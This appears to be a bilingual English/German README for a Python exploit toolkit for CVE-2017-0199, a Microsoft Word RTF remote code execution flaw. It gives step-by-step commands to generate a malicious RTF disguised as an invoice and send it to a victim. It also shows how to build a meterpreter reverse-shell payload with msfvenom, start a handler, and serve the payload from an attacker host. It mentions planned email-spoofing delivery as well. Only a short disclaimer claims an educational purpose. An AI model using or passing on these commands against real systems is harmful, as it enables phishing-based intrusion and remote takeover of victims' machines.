
Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / any other payload to victim without any complex configuration.
Das Exploit-Toolkit CVE-2017-0199 - v2.0 ist ein praktisches Python-Skript, das eine schnelle und effektive Möglichkeit bietet, Microsoft RTF RCE auszunutzen. Es kann eine bösartige RTF-Datei generieren und einen Metasploit-/Meterpreter-Payload an das Opfer liefern, ohne dass eine komplexe Konfiguration erforderlich ist.
Dem Skript wurden folgende Funktionen hinzugefügt:
- Generieren einer bösartigen RTF-Datei mit dem Toolkit
- Ausführen des Toolkits im Exploitation-Modus als kleiner HTA + Web-Server
Version: Python version 2.7.13
Arbeit an folgender Funktion:
- Automatisches Senden der generierten bösartigen RTF-Datei an das Opfer mittels E-Mail-Spoofing
Schritt 1: Generieren Sie eine bösartige RTF-Datei mit folgendem Befehl und senden Sie sie an das Opfer
Syntax:
# python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u <http://attacker.com/test.hta>
Beispiel:
# python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc
Schritt 2 (Optional, falls MSF-Payload verwendet wird): Generieren Sie den Metasploit-Payload und starten Sie den Handler
Beispiel:
Generate Payload:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
Start Handler:
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
Schritt 3: Starten Sie das Toolkit im Exploitation-Modus, um Payloads zu liefern
Syntax:
# python cve-2017-0199_toolkit.py -M exp -e <http://attacker.com/shell.exe> -l </tmp/shell.exe>
Beispiel:
# python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)
Modes:
-M gen Generate Malicious RTF file only
Generate malicious RTF file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an hta file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and
will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).
Dieses Programm dient ausschließlich zu Bildungszwecken. Verwenden Sie es nicht ohne Erlaubnis. Der übliche Haftungsausschluss gilt, insbesondere die Tatsache, dass ich (bhdresh) nicht haftbar bin für Schäden, die durch direkte oder indirekte Nutzung der Informationen oder der von diesen Programmen bereitgestellten Funktionalität entstehen. Der Autor oder ein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder die missbräuchliche Nutzung dieser Programme oder deren Derivaten. Durch die Nutzung dieses Programms akzeptieren Sie die Tatsache, dass jegliche Schäden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), die durch die Nutzung dieser Programme entstehen, nicht in der Verantwortung von bhdresh liegen.
@nixawk for RTF sample, @bhdresh
Offensichtlich bin ich kein Vollzeit-Entwickler, also erwarten Sie einige Hürden.
Bitte melden Sie Fehler und Probleme an [email protected]